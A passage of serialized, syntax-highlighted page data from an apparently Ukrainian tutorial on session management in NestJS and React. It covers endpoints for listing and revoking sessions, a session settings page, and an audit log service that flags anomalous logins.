}\n}\n",[5122,16853,16854,16859,16894,16911,16928,16946,16950,16963,16975,16986,17005,17009,17013,17018,17023,17027,17035,17061,17090,17094,17100,17109,17131,17145,17164,17177,17203,17217,17231,17257,17262,17266,17270,17274,17278,17283,17288,17292,17305,17314,17336,17356,17360,17385,17389,17395,17403,17412,17416,17420,17424,17445,17450,17455,17467,17471,17475,17505,17510,17515,17523,17527],{"__ignoreMap":5270},[5274,16855,16856],{"class":5276,"line":5277},[5274,16857,16858],{"class":5280},"\u002F\u002F src\u002Fsessions\u002Fsessions.controller.ts\n",[5274,16860,16861,16863,16865,16867,16869,16872,16874,16877,16879,16882,16884,16886,16888,16890,16892],{"class":5276,"line":5284},[5274,16862,6282],{"class":5605},[5274,16864,6285],{"class":5295},[5274,16866,12394],{"class":5305},[5274,16868,5129],{"class":5295},[5274,16870,16871],{"class":5305},"Get",[5274,16873,5129],{"class":5295},[5274,16875,16876],{"class":5305},"Delete",[5274,16878,5129],{"class":5295},[5274,16880,16881],{"class":5305},"Param",[5274,16883,5129],{"class":5295},[5274,16885,13384],{"class":5305},[5274,16887,5362],{"class":5295},[5274,16889,6293],{"class":5605},[5274,16891,9293],{"class":5358},[5274,16893,5852],{"class":5295},[5274,16895,16896,16898,16900,16902,16904,16906,16909],{"class":5276,"line":5318},[5274,16897,6282],{"class":5605},[5274,16899,6285],{"class":5295},[5274,16901,13389],{"class":5305},[5274,16903,5362],{"class":5295},[5274,16905,6293],{"class":5605},[5274,16907,16908],{"class":5358}," '..\u002Fauth\u002Fguards\u002Fjwt-auth.guard'",[5274,16910,5852],{"class":5295},[5274,16912,16913,16915,16917,16919,16921,16923,16926],{"class":5276,"line":5350},[5274,16914,6282],{"class":5605},[5274,16916,6285],{"class":5295},[5274,16918,13445],{"class":5305},[5274,16920,5362],{"class":5295},[5274,16922,6293],{"class":5605},[5274,16924,16925],{"class":5358}," '..\u002Fauth\u002Fdecorators\u002Fcurrent-user.decorator'",[5274,16927,5852],{"class":5295},[5274,16929,16930,16932,16934,16937,16939,16941,16944],{"class":5276,"line":5368},[5274,16931,6282],{"class":5605},[5274,16933,6285],{"class":5295},[5274,16935,16936],{"class":5305},"SessionsService",[5274,16938,5362],{"class":5295},[5274,16940,6293],{"class":5605},[5274,16942,16943],{"class":5358}," '.\u002Fsessions.service'",[5274,16945,5852],{"class":5295},[5274,16947,16948],{"class":5276,"line":5470},[5274,16949,5577],{"emptyLinePlaceholder":5576},[5274,16951,16952,16954,16956,16958,16961],{"class":5276,"line":5644},[5274,16953,8895],{"class":5295},[5274,16955,12394],{"class":5311},[5274,16957,5414],{"class":5295},[5274,16959,16960],{"class":5358},"'sessions'",[5274,16962,8906],{"class":5295},[5274,16964,16965,16967,16969,16971,16973],{"class":5276,"line":5650},[5274,16966,8895],{"class":5295},[5274,16968,13384],{"class":5311},[5274,16970,5414],{"class":5295},[5274,16972,13389],{"class":5305},[5274,16974,8906],{"class":5295},[5274,16976,16977,16979,16981,16984],{"class":5276,"line":5674},[5274,16978,8490],{"class":5605},[5274,16980,8913],{"class":5287},[5274,16982,16983],{"class":5567}," SessionsController",[5274,16985,7239],{"class":5295},[5274,16987,16988,16990,16992,16994,16996,16999,17001,17003],{"class":5276,"line":5680},[5274,16989,9355],{"class":5287},[5274,16991,5414],{"class":5295},[5274,16993,9366],{"class":5287},[5274,16995,9369],{"class":5287},[5274,16997,16998],{"class":5305}," sessionsService",[5274,17000,5595],{"class":5295},[5274,17002,16936],{"class":5567},[5274,17004,9380],{"class":5295},[5274,17006,17007],{"class":5276,"line":5685},[5274,17008,5577],{"emptyLinePlaceholder":5576},[5274,17010,17011],{"class":5276,"line":5691},[5274,17012,9389],{"class":5280},[5274,17014,17015],{"class":5276,"line":5855},[5274,17016,17017],{"class":5280},"   * GET \u002Fsessions\n",[5274,17019,17020],{"class":5276,"line":5860},[5274,17021,17022],{"class":5280},"   * Отримання списку всіх активних сесій користувача\n",[5274,17024,17025],{"class":5276,"line":5865},[5274,17026,9399],{"class":5280},[5274,17028,17029,17031,17033],{"class":5276,"line":6032},[5274,17030,8923],{"class":5295},[5274,17032,16871],{"class":5311},[5274,17034,9014],{"class":5295},[5274,17036,17037,17039,17042,17044,17046,17048,17051,17053,17055,17057,17059],{"class":5276,"line":6038},[5274,17038,7839],{"class":5287},[5274,17040,17041],{"class":5311}," getSessions",[5274,17043,9358],{"class":5295},[5274,17045,13445],{"class":5311},[5274,17047,5414],{"class":5295},[5274,17049,17050],{"class":5358},"'userId'",[5274,17052,7651],{"class":5295},[5274,17054,5128],{"class":5305},[5274,17056,5595],{"class":5295},[5274,17058,5568],{"class":5567},[5274,17060,5600],{"class":5295},[5274,17062,17063,17065,17068,17070,17072,17074,17076,17079,17081,17084,17086,17088],{"class":5276,"line":6044},[5274,17064,7855],{"class":5287},[5274,17066,17067],{"class":5291}," sessions",[5274,17069,5296],{"class":5295},[5274,17071,5770],{"class":5605},[5274,17073,5656],{"class":5287},[5274,17075,5302],{"class":5295},[5274,17077,17078],{"class":5305},"sessionsService",[5274,17080,5302],{"class":5295},[5274,17082,17083],{"class":5311},"getUserSessions",[5274,17085,5414],{"class":5295},[5274,17087,5128],{"class":5305},[5274,17089,5371],{"class":5295},[5274,17091,17092],{"class":5276,"line":6050},[5274,17093,5577],{"emptyLinePlaceholder":5576},[5274,17095,17096,17098],{"class":5276,"line":6947},[5274,17097,8457],{"class":5605},[5274,17099,7239],{"class":5295},[5274,17101,17102,17104,17107],{"class":5276,"line":6953},[5274,17103,12764],{"class":5305},[5274,17105,17106],{"class":6196}," 200",[5274,17108,5443],{"class":5295},[5274,17110,17111,17113,17115,17117,17119,17121,17124,17126,17128],{"class":5276,"line":6959},[5274,17112,12788],{"class":5305},[5274,17114,17067],{"class":5305},[5274,17116,5302],{"class":5295},[5274,17118,16622],{"class":5311},[5274,17120,7757],{"class":5295},[5274,17122,17123],{"class":5305},"session",[5274,17125,7651],{"class":5295},[5274,17127,7654],{"class":5287},[5274,17129,17130],{"class":5295}," ({\n",[5274,17132,17133,17136,17139,17141,17143],{"class":5276,"line":6965},[5274,17134,17135],{"class":5305},"        id:",[5274,17137,17138],{"class":5305}," session",[5274,17140,5302],{"class":5295},[5274,17142,5332],{"class":5305},[5274,17144,5443],{"class":5295},[5274,17146,17147,17150,17152,17154,17156,17159,17162],{"class":5276,"line":6971},[5274,17148,17149],{"class":5305},"        deviceName:",[5274,17151,17138],{"class":5305},[5274,17153,5302],{"class":5295},[5274,17155,8539],{"class":5305},[5274,17157,17158],{"class":5295}," || ",[5274,17160,17161],{"class":5358},"'Unknown Device'",[5274,17163,5443],{"class":5295},[5274,17165,17166,17169,17171,17173,17175],{"class":5276,"line":6977},[5274,17167,17168],{"class":5305},"        ipAddress:",[5274,17170,17138],{"class":5305},[5274,17172,5302],{"class":5295},[5274,17174,8542],{"class":5305},[5274,17176,5443],{"class":5295},[5274,17178,17179,17182,17184,17186,17189,17191,17193,17195,17197,17200],{"class":5276,"line":6983},[5274,17180,17181],{"class":5305},"        location:",[5274,17183,5656],{"class":5287},[5274,17185,5302],{"class":5295},[5274,17187,17188],{"class":5311},"getLocationFromIP",[5274,17190,5414],{"class":5295},[5274,17192,17123],{"class":5305},[5274,17194,5302],{"class":5295},[5274,17196,8542],{"class":5305},[5274,17198,17199],{"class":5295},"), ",[5274,17201,17202],{"class":5280},"\u002F\u002F GeoIP lookup\n",[5274,17204,17205,17208,17210,17212,17215],{"class":5276,"line":6989},[5274,17206,17207],{"class":5305},"        createdAt:",[5274,17209,17138],{"class":5305},[5274,17211,5302],{"class":5295},[5274,17213,17214],{"class":5305},"createdAt",[5274,17216,5443],{"class":5295},[5274,17218,17219,17222,17224,17226,17229],{"class":5276,"line":7514},[5274,17220,17221],{"class":5305},"        lastUsedAt:",[5274,17223,17138],{"class":5305},[5274,17225,5302],{"class":5295},[5274,17227,17228],{"class":5305},"lastUsedAt",[5274,17230,5443],{"class":5295},[5274,17232,17233,17236,17238,17240,17243,17245,17247,17249,17251,17253,17255],{"class":5276,"line":7520},[5274,17234,17235],{"class":5305},"        isCurrent:",[5274,17237,5656],{"class":5287},[5274,17239,5302],{"class":5295},[5274,17241,17242],{"class":5311},"isCurrentSession",[5274,17244,5414],{"class":5295},[5274,17246,17123],{"class":5305},[5274,17248,5302],{"class":5295},[5274,17250,5132],{"class":5305},[5274,17252,5129],{"class":5295},[5274,17254,5128],{"class":5305},[5274,17256,6425],{"class":5295},[5274,17258,17259],{"class":5276,"line":7526},[5274,17260,17261],{"class":5295},"      })),\n",[5274,17263,17264],{"class":5276,"line":7919},[5274,17265,11231],{"class":5295},[5274,17267,17268],{"class":5276,"line":7932},[5274,17269,5647],{"class":5295},[5274,17271,17272],{"class":5276,"line":7938},[5274,17273,5577],{"emptyLinePlaceholder":5576},[5274,17275,17276],{"class":5276,"line":7960},[5274,17277,9389],{"class":5280},[5274,17279,17280],{"class":5276,"line":7980},[5274,17281,17282],{"class":5280},"   * DELETE \u002Fsessions\u002F:sessionId\n",[5274,17284,17285],{"class":5276,"line":8013},[5274,17286,17287],{"class":5280},"   * Відкликання конкретної сесії\n",[5274,17289,17290],{"class":5276,"line":8029},[5274,17291,9399],{"class":5280},[5274,17293,17294,17296,17298,17300,17303],{"class":5276,"line":8035},[5274,17295,8923],{"class":5295},[5274,17297,16876],{"class":5311},[5274,17299,5414],{"class":5295},[5274,17301,17302],{"class":5358},"':sessionId'",[5274,17304,8906],{"class":5295},[5274,17306,17307,17309,17312],{"class":5276,"line":8041},[5274,17308,7839],{"class":5287},[5274,17310,17311],{"class":5311}," revokeSession",[5274,17313,5315],{"class":5295},[5274,17315,17316,17318,17320,17322,17325,17327,17330,17332,17334],{"class":5276,"line":8047},[5274,17317,10909],{"class":5295},[5274,17319,16881],{"class":5311},[5274,17321,5414],{"class":5295},[5274,17323,17324],{"class":5358},"'sessionId'",[5274,17326,7651],{"class":5295},[5274,17328,17329],{"class":5305},"sessionId",[5274,17331,5595],{"class":5295},[5274,17333,5568],{"class":5567},[5274,17335,5443],{"class":5295},[5274,17337,17338,17340,17342,17344,17346,17348,17350,17352,17354],{"class":5276,"line":8052},[5274,17339,10909],{"class":5295},[5274,17341,13445],{"class":5311},[5274,17343,5414],{"class":5295},[5274,17345,17050],{"class":5358},[5274,17347,7651],{"class":5295},[5274,17349,5128],{"class":5305},[5274,17351,5595],{"class":5295},[5274,17353,5568],{"class":5567},[5274,17355,5443],{"class":5295},[5274,17357,17358],{"class":5276,"line":8069},[5274,17359,12543],{"class":5295},[5274,17361,17362,17364,17366,17368,17370,17372,17375,17377,17379,17381,17383],{"class":5276,"line":8081},[5274,17363,9542],{"class":5605},[5274,17365,5656],{"class":5287},[5274,17367,5302],{"class":5295},[5274,17369,17078],{"class":5305},[5274,17371,5302],{"class":5295},[5274,17373,17374],{"class":5311},"revokeSession",[5274,17376,5414],{"class":5295},[5274,17378,17329],{"class":5305},[5274,17380,5129],{"class":5295},[5274,17382,5128],{"class":5305},[5274,17384,5371],{"class":5295},[5274,17386,17387],{"class":5276,"line":8086},[5274,17388,5577],{"emptyLinePlaceholder":5576},[5274,17390,17391,17393],{"class":5276,"line":8094},[5274,17392,8457],{"class":5605},[5274,17394,7239],{"class":5295},[5274,17396,17397,17399,17401],{"class":5276,"line":8100},[5274,17398,12764],{"class":5305},[5274,17400,17106],{"class":6196},[5274,17402,5443],{"class":5295},[5274,17404,17405,17407,17410],{"class":5276,"line":8125},[5274,17406,12778],{"class":5305},[5274,17408,17409],{"class":5358}," 'Session revoked successfully'",[5274,17411,5443],{"class":5295},[5274,17413,17414],{"class":5276,"line":8133},[5274,17415,11231],{"class":5295},[5274,17417,17418],{"class":5276,"line":8139},[5274,17419,5647],{"class":5295},[5274,17421,17422],{"class":5276,"line":8155},[5274,17423,5577],{"emptyLinePlaceholder":5576},[5274,17425,17426,17428,17431,17433,17435,17437,17439,17441,17443],{"class":5276,"line":8161},[5274,17427,10851],{"class":5287},[5274,17429,17430],{"class":5311}," getLocationFromIP",[5274,17432,5414],{"class":5295},[5274,17434,12605],{"class":5305},[5274,17436,5595],{"class":5295},[5274,17438,5568],{"class":5567},[5274,17440,9686],{"class":5295},[5274,17442,5568],{"class":5567},[5274,17444,7239],{"class":5295},[5274,17446,17447],{"class":5276,"line":8166},[5274,17448,17449],{"class":5280},"    \u002F\u002F Використання GeoIP бази даних (MaxMind GeoLite2)\n",[5274,17451,17452],{"class":5276,"line":8189},[5274,17453,17454],{"class":5280},"    \u002F\u002F return geoip.lookup(ip)?.city || 'Unknown Location';\n",[5274,17456,17457,17459,17462,17464],{"class":5276,"line":8194},[5274,17458,8457],{"class":5605},[5274,17460,17461],{"class":5358}," 'Київ, Україна'",[5274,17463,12215],{"class":5295},[5274,17465,17466],{"class":5280},"\u002F\u002F Placeholder\n",[5274,17468,17469],{"class":5276,"line":8200},[5274,17470,5647],{"class":5295},[5274,17472,17473],{"class":5276,"line":8222},[5274,17474,5577],{"emptyLinePlaceholder":5576},[5274,17476,17477,17479,17482,17484,17486,17488,17490,17492,17494,17496,17498,17500,17503],{"class":5276,"line":8263},[5274,17478,10851],{"class":5287},[5274,17480,17481],{"class":5311}," isCurrentSession",[5274,17483,5414],{"class":5295},[5274,17485,5132],{"class":5305},[5274,17487,5595],{"class":5295},[5274,17489,5568],{"class":5567},[5274,17491,5129],{"class":5295},[5274,17493,5128],{"class":5305},[5274,17495,5595],{"class":5295},[5274,17497,5568],{"class":5567},[5274,17499,9686],{"class":5295},[5274,17501,17502],{"class":5567},"boolean",[5274,17504,7239],{"class":5295},[5274,17506,17507],{"class":5276,"line":8268},[5274,17508,17509],{"class":5280},"    \u002F\u002F Порівняння з токеном поточного запиту\n",[5274,17511,17512],{"class":5276,"line":8274},[5274,17513,17514],{"class":5280},"    \u002F\u002F Реалізація залежить від архітектури\n",[5274,17516,17517,17519,17521],{"class":5276,"line":8286},[5274,17518,8457],{"class":5605},[5274,17520,16446],{"class":5287},[5274,17522,5852],{"class":5295},[5274,17524,17525],{"class":5276,"line":8291},[5274,17526,5647],{"class":5295},[5274,17528,17529],{"class":5276,"line":8297},[5274,17530,5677],{"class":5295},[5089,17532,17533],{},[5099,17534,17535],{},"Приклад відповіді:",[5265,17537,17539],{"className":6126,"code":17538,"language":6128,"meta":5270,"style":5270},"{\n  \"statusCode\": 200,\n  \"data\": [\n    {\n      \"id\": \"550e8400-e29b-41d4-a716-446655440000\",\n      \"deviceName\": \"MacBook Pro (Chrome)\",\n      \"ipAddress\": \"203.0.113.42\",\n      \"location\": \"Київ, Україна\",\n      \"createdAt\": \"2026-09-06T10:00:00Z\",\n      \"lastUsedAt\": \"2026-09-06T15:30:00Z\",\n      \"isCurrent\": true\n    },\n    {\n      \"id\": \"6ba7b810-9dad-11d1-80b4-00c04fd430c8\",\n      \"deviceName\": \"iPhone 14 Pro (Safari)\",\n      \"ipAddress\": \"198.51.100.23\",\n      \"location\": \"Львів, Україна\",\n      \"createdAt\": \"2026-09-05T08:00:00Z\",\n      \"lastUsedAt\": \"2026-09-05T20:15:00Z\",\n      \"isCurrent\": false\n    },\n    {\n      \"id\": \"7c9e6679-7425-40de-944b-e07fc1f90ae7\",\n      \"deviceName\": \"Unknown Device\",\n      \"ipAddress\": \"192.0.2.146\",\n      \"location\": \"Пекін, Китай\",\n      \"createdAt\": \"2026-09-04T03:22:00Z\",\n      \"lastUsedAt\": \"2026-09-04T03:25:00Z\",\n      \"isCurrent\": false\n    }\n  ]\n}\n",[5122,17540,17541,17545,17555,17562,17567,17577,17589,17600,17612,17624,17636,17646,17650,17654,17664,17675,17686,17697,17708,17719,17728,17732,17736,17747,17758,17769,17780,17791,17802,17810,17814,17819],{"__ignoreMap":5270},[5274,17542,17543],{"class":5276,"line":5277},[5274,17544,6135],{"class":5295},[5274,17546,17547,17549,17551,17553],{"class":5276,"line":5284},[5274,17548,7010],{"class":6140},[5274,17550,5595],{"class":5295},[5274,17552,7015],{"class":6196},[5274,17554,5443],{"class":5295},[5274,17556,17557,17559],{"class":5276,"line":5318},[5274,17558,7034],{"class":6140},[5274,17560,17561],{"class":5295},": [\n",[5274,17563,17564],{"class":5276,"line":5350},[5274,17565,17566],{"class":5295},"    {\n",[5274,17568,17569,17571,17573,17575],{"class":5276,"line":5368},[5274,17570,7097],{"class":6140},[5274,17572,5595],{"class":5295},[5274,17574,6146],{"class":5358},[5274,17576,5443],{"class":5295},[5274,17578,17579,17582,17584,17587],{"class":5276,"line":5470},[5274,17580,17581],{"class":6140},"      \"deviceName\"",[5274,17583,5595],{"class":5295},[5274,17585,17586],{"class":5358},"\"MacBook Pro (Chrome)\"",[5274,17588,5443],{"class":5295},[5274,17590,17591,17594,17596,17598],{"class":5276,"line":5644},[5274,17592,17593],{"class":6140},"      \"ipAddress\"",[5274,17595,5595],{"class":5295},[5274,17597,6764],{"class":5358},[5274,17599,5443],{"class":5295},[5274,17601,17602,17605,17607,17610],{"class":5276,"line":5650},[5274,17603,17604],{"class":6140},"      \"location\"",[5274,17606,5595],{"class":5295},[5274,17608,17609],{"class":5358},"\"Київ, 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\"isCurrent\"",[5274,17642,5595],{"class":5295},[5274,17644,17645],{"class":5287},"true\n",[5274,17647,17648],{"class":5276,"line":5691},[5274,17649,13327],{"class":5295},[5274,17651,17652],{"class":5276,"line":5855},[5274,17653,17566],{"class":5295},[5274,17655,17656,17658,17660,17662],{"class":5276,"line":5860},[5274,17657,7097],{"class":6140},[5274,17659,5595],{"class":5295},[5274,17661,7059],{"class":5358},[5274,17663,5443],{"class":5295},[5274,17665,17666,17668,17670,17673],{"class":5276,"line":5865},[5274,17667,17581],{"class":6140},[5274,17669,5595],{"class":5295},[5274,17671,17672],{"class":5358},"\"iPhone 14 Pro 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Device\"",[5274,17757,5443],{"class":5295},[5274,17759,17760,17762,17764,17767],{"class":5276,"line":6977},[5274,17761,17593],{"class":6140},[5274,17763,5595],{"class":5295},[5274,17765,17766],{"class":5358},"\"192.0.2.146\"",[5274,17768,5443],{"class":5295},[5274,17770,17771,17773,17775,17778],{"class":5276,"line":6983},[5274,17772,17604],{"class":6140},[5274,17774,5595],{"class":5295},[5274,17776,17777],{"class":5358},"\"Пекін, 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сесій:",[5265,17829,17831],{"className":5267,"code":17830,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fpages\u002FSecuritySettingsPage.tsx\nimport React, { useEffect, useState } from 'react';\nimport api from '..\u002Fapi\u002Faxios-instance';\n\ninterface Session {\n  id: string;\n  deviceName: string;\n  ipAddress: string;\n  location: string;\n  createdAt: string;\n  lastUsedAt: string;\n  isCurrent: boolean;\n}\n\nexport function SecuritySettingsPage() {\n  const [sessions, setSessions] = useState\u003CSession[]>([]);\n\n  useEffect(() => {\n    const fetchSessions = async () => {\n      const { data } = await api.get('\u002Fsessions');\n      setSessions(data.data);\n    };\n    fetchSessions();\n  }, []);\n\n  const handleRevoke = async (sessionId: string) => {\n    if (!confirm('Ви впевнені, що хочете завершити цю сесію?')) {\n      return;\n    }\n\n    try {\n      await api.delete(`\u002Fsessions\u002F${sessionId}`);\n      setSessions((prev) => prev.filter((s) => s.id !== sessionId));\n      alert('Сесію успішно завершено');\n    } catch (error) {\n      alert('Помилка при завершенні сесії');\n    }\n  };\n\n  return (\n    \u003Cdiv className=\"security-settings\">\n      \u003Ch2>Активні сесії\u003C\u002Fh2>\n      \u003Ctable>\n        \u003Cthead>\n          \u003Ctr>\n            \u003Cth>Пристрій\u003C\u002Fth>\n            \u003Cth>Локація\u003C\u002Fth>\n            \u003Cth>Останній вхід\u003C\u002Fth>\n            \u003Cth>Дії\u003C\u002Fth>\n          \u003C\u002Ftr>\n        \u003C\u002Fthead>\n        \u003Ctbody>\n          {sessions.map((session) => (\n            \u003Ctr key={session.id}>\n              \u003Ctd>\n                {session.deviceName}\n                {session.isCurrent && \u003Cspan className=\"badge\">Поточна\u003C\u002Fspan>}\n              \u003C\u002Ftd>\n              \u003Ctd>\n                {session.location}\n                \u003Cbr \u002F>\n                \u003Csmall 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\u003C",[5274,18561,18562],{"class":5305},"br",[5274,18564,16058],{"class":5295},[5274,18566,18567,18569,18572,18574,18576,18579,18582,18584,18586,18588],{"class":5276,"line":8297},[5274,18568,18559],{"class":5295},[5274,18570,18571],{"class":5305},"small",[5274,18573,18282],{"class":5305},[5274,18575,15988],{"class":5295},[5274,18577,18578],{"class":5358},"\"text-muted\"",[5274,18580,18581],{"class":5295},">{session.",[5274,18583,8542],{"class":5305},[5274,18585,15553],{"class":5295},[5274,18587,18571],{"class":5305},[5274,18589,15098],{"class":5295},[5274,18591,18592,18594,18596],{"class":5276,"line":8325},[5274,18593,18530],{"class":5295},[5274,18595,12892],{"class":5305},[5274,18597,15098],{"class":5295},[5274,18599,18600,18602,18604,18607,18609,18612,18615,18617,18620,18623,18625],{"class":5276,"line":8338},[5274,18601,18473],{"class":5295},[5274,18603,12892],{"class":5567},[5274,18605,18606],{"class":5295},">{new ",[5274,18608,6391],{"class":5311},[5274,18610,18611],{"class":5295},"(session.lastUsedAt).",[5274,18613,18614],{"class":5311},"toLocaleString",[5274,18616,5414],{"class":5295},[5274,18618,18619],{"class":5358},"'uk-UA'",[5274,18621,18622],{"class":5295},")}\u003C\u002F",[5274,18624,12892],{"class":5305},[5274,18626,15098],{"class":5295},[5274,18628,18629,18631,18633],{"class":5276,"line":8354},[5274,18630,18473],{"class":5295},[5274,18632,12892],{"class":5567},[5274,18634,15098],{"class":5295},[5274,18636,18637,18640,18642,18644,18646],{"class":5276,"line":8360},[5274,18638,18639],{"class":5295},"                {!",[5274,18641,17123],{"class":5305},[5274,18643,5302],{"class":5295},[5274,18645,18501],{"class":5305},[5274,18647,18648],{"class":5295}," && (\n",[5274,18650,18651,18654],{"class":5276,"line":8376},[5274,18652,18653],{"class":5295},"                  \u003C",[5274,18655,18656],{"class":5305},"button\n",[5274,18658,18659,18662,18665,18668],{"class":5276,"line":8399},[5274,18660,18661],{"class":5305},"                    onClick",[5274,18663,18664],{"class":5295},"={() => ",[5274,18666,18667],{"class":5311},"handleRevoke",[5274,18669,18670],{"class":5295},"(session.id)}\n",[5274,18672,18673,18676,18678],{"class":5276,"line":8417},[5274,18674,18675],{"class":5305},"                    className",[5274,18677,15988],{"class":5295},[5274,18679,18680],{"class":5358},"\"btn btn-danger btn-sm\"\n",[5274,18682,18683],{"class":5276,"line":8427},[5274,18684,18685],{"class":5295},"                  >\n",[5274,18687,18688],{"class":5276,"line":8439},[5274,18689,18690],{"class":5305},"                    Завершити\n",[5274,18692,18693,18696,18699],{"class":5276,"line":8444},[5274,18694,18695],{"class":5295},"                  \u003C\u002F",[5274,18697,18698],{"class":5305},"button",[5274,18700,15098],{"class":5295},[5274,18702,18703],{"class":5276,"line":8449},[5274,18704,18705],{"class":5295},"                )}\n",[5274,18707,18708,18710,18712],{"class":5276,"line":8454},[5274,18709,18530],{"class":5295},[5274,18711,12892],{"class":5305},[5274,18713,15098],{"class":5295},[5274,18715,18716,18719,18721],{"class":5276,"line":8472},[5274,18717,18718],{"class":5295},"            \u003C\u002F",[5274,18720,12874],{"class":5305},[5274,18722,15098],{"class":5295},[5274,18724,18725],{"class":5276,"line":8477},[5274,18726,18727],{"class":5295},"          ))}\n",[5274,18729,18730,18732,18734],{"class":5276,"line":8482},[5274,18731,18422],{"class":5295},[5274,18733,12887],{"class":5305},[5274,18735,15098],{"class":5295},[5274,18737,18738,18741,18743],{"class":5276,"line":8487},[5274,18739,18740],{"class":5295},"      \u003C\u002F",[5274,18742,12868],{"class":5305},[5274,18744,15098],{"class":5295},[5274,18746,18747,18749,18751],{"class":5276,"line":11539},[5274,18748,15089],{"class":5295},[5274,18750,15544],{"class":5305},[5274,18752,15098],{"class":5295},[5274,18754,18755],{"class":5276,"line":11560},[5274,18756,13153],{"class":5295},[5274,18758,18759],{"class":5276,"line":11573},[5274,18760,5677],{"class":5295},[5257,18762,18764],{"id":18763},"логування-подій-безпеки","Логування подій безпеки",[5089,18766,18767],{},"Для аудиту та виявлення аномалій необхідно логувати критичні події:",[5265,18769,18771],{"className":5267,"code":18770,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Faudit\u002Faudit.service.ts\nimport { Injectable } from '@nestjs\u002Fcommon';\nimport { InjectRepository } from '@nestjs\u002Ftypeorm';\nimport { Repository } from 'typeorm';\nimport { AuditLog } from '.\u002Fentities\u002Faudit-log.entity';\n\nenum AuditEventType {\n  LOGIN_SUCCESS = 'login_success',\n  LOGIN_FAILED = 'login_failed',\n  TOKEN_REFRESHED = 'token_refreshed',\n  TOKEN_REUSE_DETECTED = 'token_reuse_detected',\n  LOGOUT = 'logout',\n  PASSWORD_CHANGED = 'password_changed',\n  SESSION_REVOKED = 'session_revoked',\n}\n\n@Injectable()\nexport class AuditService {\n  constructor(\n    @InjectRepository(AuditLog)\n    private readonly auditLogRepo: Repository\u003CAuditLog>,\n  ) {}\n\n  async log(\n    userId: string,\n    eventType: AuditEventType,\n    metadata?: Record\u003Cstring, any>,\n  ) {\n    await this.auditLogRepo.save({\n      userId,\n      eventType,\n      metadata,\n      timestamp: new Date(),\n    });\n\n    \u002F\u002F Опціонально: надіслати критичні події до SIEM системи\n    if (eventType === AuditEventType.TOKEN_REUSE_DETECTED) {\n      \u002F\u002F await this.siemClient.sendAlert({ userId, eventType, metadata });\n    }\n  }\n\n  \u002F**\n   * Виявлення аномальної активності\n   *\u002F\n  async detectAnomalies(userId: string): Promise\u003Cstring[]> {\n    const alerts: string[] = [];\n\n    \u002F\u002F 1. Перевірка на множинні входи з різних локацій за короткий час\n    const recentLogins = await this.auditLogRepo.find({\n      where: { userId, eventType: AuditEventType.LOGIN_SUCCESS },\n      order: { timestamp: 'DESC' },\n      take: 5,\n    });\n\n    const locations = new Set(recentLogins.map((log) => log.metadata.location));\n    if (locations.size > 2) {\n      alerts.push('Виявлено входи з кількох різних локацій за останню годину');\n    }\n\n    \u002F\u002F 2. Перевірка на множинні невдалі спроби входу\n    const failedAttempts = await this.auditLogRepo.count({\n      where: {\n        userId,\n        eventType: AuditEventType.LOGIN_FAILED,\n        timestamp: new Date(Date.now() - 60 * 60 * 1000), \u002F\u002F Остання година\n      },\n    });\n\n    if (failedAttempts > 5) {\n      alerts.push('Виявлено 5+ невдалих спроб входу за останню годину');\n    }\n\n    return alerts;\n  }\n}\n",[5122,18772,18773,18778,18794,18810,18826,18844,18848,18858,18870,18882,18894,18906,18917,18929,18941,18945,18949,18957,18968,18974,18986,19005,19009,19013,19021,19031,19043,19063,19067,19084,19090,19097,19104,19115,19119,19123,19128,19148,19153,19157,19161,19165,19169,19174,19178,19204,19218,19222,19227,19251,19273,19288,19298,19302,19306,19349,19371,19387,19391,19395,19400,19424,19430,19437,19451,19485,19489,19493,19497,19513,19528,19532,19536,19544,19548],{"__ignoreMap":5270},[5274,18774,18775],{"class":5276,"line":5277},[5274,18776,18777],{"class":5280},"\u002F\u002F src\u002Faudit\u002Faudit.service.ts\n",[5274,18779,18780,18782,18784,18786,18788,18790,18792],{"class":5276,"line":5284},[5274,18781,6282],{"class":5605},[5274,18783,6285],{"class":5295},[5274,18785,9286],{"class":5305},[5274,18787,5362],{"class":5295},[5274,18789,6293],{"class":5605},[5274,18791,9293],{"class":5358},[5274,18793,5852],{"class":5295},[5274,18795,18796,18798,18800,18802,18804,18806,18808],{"class":5276,"line":5318},[5274,18797,6282],{"class":5605},[5274,18799,6285],{"class":5295},[5274,18801,10763],{"class":5305},[5274,18803,5362],{"class":5295},[5274,18805,6293],{"class":5605},[5274,18807,10770],{"class":5358},[5274,18809,5852],{"class":5295},[5274,18811,18812,18814,18816,18818,18820,18822,18824],{"class":5276,"line":5350},[5274,18813,6282],{"class":5605},[5274,18815,6285],{"class":5295},[5274,18817,10781],{"class":5305},[5274,18819,5362],{"class":5295},[5274,18821,6293],{"class":5605},[5274,18823,8866],{"class":5358},[5274,18825,5852],{"class":5295},[5274,18827,18828,18830,18832,18835,18837,18839,18842],{"class":5276,"line":5368},[5274,18829,6282],{"class":5605},[5274,18831,6285],{"class":5295},[5274,18833,18834],{"class":5305},"AuditLog",[5274,18836,5362],{"class":5295},[5274,18838,6293],{"class":5605},[5274,18840,18841],{"class":5358}," '.\u002Fentities\u002Faudit-log.entity'",[5274,18843,5852],{"class":5295},[5274,18845,18846],{"class":5276,"line":5470},[5274,18847,5577],{"emptyLinePlaceholder":5576},[5274,18849,18850,18853,18856],{"class":5276,"line":5644},[5274,18851,18852],{"class":5287},"enum",[5274,18854,18855],{"class":5567}," AuditEventType",[5274,18857,7239],{"class":5295},[5274,18859,18860,18863,18865,18868],{"class":5276,"line":5650},[5274,18861,18862],{"class":5291},"  LOGIN_SUCCESS",[5274,18864,5296],{"class":5295},[5274,18866,18867],{"class":5358},"'login_success'",[5274,18869,5443],{"class":5295},[5274,18871,18872,18875,18877,18880],{"class":5276,"line":5674},[5274,18873,18874],{"class":5291},"  LOGIN_FAILED",[5274,18876,5296],{"class":5295},[5274,18878,18879],{"class":5358},"'login_failed'",[5274,18881,5443],{"class":5295},[5274,18883,18884,18887,18889,18892],{"class":5276,"line":5680},[5274,18885,18886],{"class":5291},"  TOKEN_REFRESHED",[5274,18888,5296],{"class":5295},[5274,18890,18891],{"class":5358},"'token_refreshed'",[5274,18893,5443],{"class":5295},[5274,18895,18896,18899,18901,18904],{"class":5276,"line":5685},[5274,18897,18898],{"class":5291},"  TOKEN_REUSE_DETECTED",[5274,18900,5296],{"class":5295},[5274,18902,18903],{"class":5358},"'token_reuse_detected'",[5274,18905,5443],{"class":5295},[5274,18907,18908,18911,18913,18915],{"class":5276,"line":5691},[5274,18909,18910],{"class":5291},"  